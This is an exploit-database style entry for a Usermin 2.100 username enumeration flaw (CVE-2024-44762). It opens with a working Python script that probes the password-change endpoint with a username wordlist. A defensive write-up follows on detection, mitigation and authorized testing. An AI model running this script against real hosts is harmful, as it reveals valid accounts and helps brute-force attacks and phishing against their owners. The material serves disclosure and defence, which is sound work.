Usermin 2.100 - Username Enumeration
# Exploit Title: Usermin 2.100 - Username Enumeration
# Date: 10.02.2024
# Exploit Author: Kjesper
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <= 2.100
# Tested on: Kali Linux
# CVE: CVE-2024-44762
# https://senscybersecurity.nl/cve-2024-44762-explained/
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Username Enumeration (Version 2.100)
# Usage: UserEnumUsermin.py -u HOST -w WORDLIST_USERS
# Example: UserEnumUsermin.py -u https://127.0.0.1:20000 -w users.txt
import requests
import json
import requests
import argparse
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help = "use -u with the url to the host of usermin, EX: \"-u https://127.0.0.1:20000\"")
parser.add_argument("-w", "--wordlist_users", help = "use -w with the username wordlist, EX: \"-w users.txt\"")
args = parser.parse_args()
if len(sys.argv) != 5:
print("Please provide the -u for URL and -w for the wordlist containing the usernames")
print("EX: python3 UsernameEnum.py -u https://127.0.0.1:20000 -w users.txt")
exit()
usernameFile = open(args.wordlist_users, 'r')
dataUsername = usernameFile.read()
usernameFileIntoList = dataUsername.split("\n")
usernameFile.close()
for i in usernameFileIntoList:
newHeaders = {'Content-type': 'application/x-www-form-urlencoded', 'Referer': '%s/password_change.cgi' % args.url}
params = {'user':i, 'pam':'', 'expired':'2', 'old':'fakePassword', 'new1':'password', 'new2':'password'}
response = requests.post('%s/password_change.cgi' % args.url, data=params, verify=False, headers=newHeaders)
if "Failed to change password: The current password is incorrect." in response.text:
print("Possible user found with username: " + i)
if "Failed to change password: Your login name was not found in the password file!" not in response.text and "Failed to change password: The current password is incorrect." not in response.text:
print("Application is most likely not vulnerable and are therefore quitting.")
exit() # comment out line 33-35 if you would still like to try username enumeration. Usermin 2.100 — Username Enumeration (CVE-2024-44762)
Overview: CVE-2024-44762 is a username enumeration vulnerability affecting Usermin up to and including version 2.100. The issue arises because unauthenticated requests to the password-change endpoint return distinct, easily-parsable messages depending on whether the supplied username exists. Attackers can leverage these differing responses to enumerate valid system usernames, which in turn increases the effectiveness of targeted brute‑force, social engineering, and credential-stuffing campaigns.
Why username enumeration matters
- Knowing valid usernames drastically lowers the effort and noise required for subsequent password-guessing attacks.
- Enumerated accounts can be prioritized (e.g., administrators, service accounts) for privilege escalation attempts.
- Enumeration aids reconnaissance and targeted phishing campaigns by confirming identity and presence of specific users.
Vulnerability mechanics (high level)
The affected endpoint responds differently for two states:
- When the username is unknown, the application returns a "login name not found" style message.
- When the username exists but the password is wrong, it returns a "current password is incorrect" style message.
Because this difference is observable without authentication, an attacker can iterate a list of candidate usernames and detect which ones are valid by comparing responses.
Impact and severity
- Confidentiality: Enumeration does not directly disclose passwords but reveals valid account identifiers.
- Integrity/Availability: Combined with other attack techniques (credential stuffing, password spraying), it can lead to account takeovers or increased login attempt noise.
- Severity: Medium — the vulnerability significantly assists attackers during reconnaissance and reduces the cost of follow-on attacks.
Detection and monitoring
Detecting exploitation attempts and ongoing reconnaissance activities requires looking for patterns rather than single events. Focus on frequency, unusual source IPs, and repeated attempts against the same endpoint.
High-level detection strategies
- Audit logs: Search web server and Usermin logs for high-rate POST requests to the password-change endpoint or similarly-named handlers.
- Rate patterns: Detect bursts of requests originating from one IP or small IP range, each using different usernames as parameters.
- SIEM correlation: Flag when multiple failed "change password" attempts with distinct usernames occur within a short time window.
- WAF rules: Configure generic WAF blocks for unusual POST patterns to password-change endpoints, with exceptions for trusted administrative sources.
Example of safe, non-executable pseudo-detection logic
# PSEUDO-CODE (non-executable, FOR CONCEPTUAL USE ONLY)
# This is conceptual logic for a monitoring rule.
for each http_post to "/password_change.cgi":
record(client_ip, timestamp, supplied_username, response_message)
if count(distinct supplied_username from client_ip within 5 minutes) > threshold:
alert("Possible username enumeration from " + client_ip)
Explanation: The pseudo-code shows the monitoring concept: collect POST attempts to the password-change endpoint and alert when a single client tries many different usernames in a short time window. This is a defensive detection idea, not an exploit.
Mitigation and remediation
Immediate actions (administrators)
- Patch or upgrade: Install the vendor-provided patch or upgrade Usermin to a version that addresses CVE-2024-44762. Check the official Webmin/Usermin changelog and security advisories for the fixed release.
- Temporary hardening: If patching immediately is not possible, restrict access to Usermin interfaces to trusted networks (VPNs, management subnets) and/or apply firewall rules to limit exposure.
- Apply rate limiting and WAF rules: Configure your web application firewall to block or throttle multiple failed password-change attempts and to treat high-rate requests to password-change endpoints as suspicious.
- Require authentication for sensitive operations: Ensure that password-change functionality is gated by valid session tokens and CSRF protections where feasible.
Recommended long-term fixes (secure development and configuration)
- Uniform error messages: Ensure server responses do not differ in a way that reveals existence of accounts. Return a single generic message such as "Unable to process request" for both non-existent and wrong credentials.
- Consistent response timing: Avoid significantly different processing times for existent vs non-existent usernames to reduce timing-based enumeration.
- CSRF and anti-automation techniques: Require per-request anti-CSRF tokens and consider progressive throttling or CAPTCHA for unauthenticated password-change requests.
- Monitoring and logging: Log failed attempts with rate-based detection alerts and retain logs long enough for forensic correlation.
Example mitigation pseudo-change (server-side, conceptual)
# PSEUDO-CODE (non-executable, conceptual)
# When handling unauthenticated password-change attempts:
result = attempt_password_change(user_input)
# Normalize both success and failure paths to use the same message and similar timing
sleep_until_fixed_duration(start_time)
return HTTP_200, "Unable to change password. Please check your credentials or contact support."
Explanation: This conceptual snippet shows two defensive ideas: normalize the response body (use the same message for all failure modes) and normalize observed timing (wait until a fixed minimum processing time before returning). Both reduce the information an attacker can derive.
Safe testing guidance
Security testing should be performed only on systems you own or where you have explicit authorization. Unauthorized scanning or exploitation can be illegal and disruptive. For authorized testing:
- Use an isolated lab or staging environment that mirrors production.
- Notify stakeholders and schedule testing windows to avoid alerts being misinterpreted as attacks.
- Prefer non-destructive checks and monitoring-based detection rules over automated high-frequency probes.
Detection signatures and indicators (high-level)
Useful indicators to monitor for:
- Many POST requests to the password-change endpoint from a single IP over a short interval.
- Patterns of different username parameter values accompanied by response messages indicating "incorrect password".
- Spike in authentication-related errors in application logs without corresponding successful logins.
References and timeline
- CVE identifier: CVE-2024-44762
- Vendor: Webmin / Usermin — official advisories and release notes should be consulted for the definitive patch and version information.
- Security write-ups: Independent analyses and vendor posts (e.g., published advisories and non-executable technical write-ups) provide additional context and mitigation steps.
Final recommendations (summary)
- Prioritize patching to the fixed Usermin release.
- Restrict access to management interfaces via network controls and VPNs.
- Implement uniform error handling, CSRF protections, and rate limiting.
- Deploy monitoring rules to detect enumeration behavior and respond quickly to suspicious activity.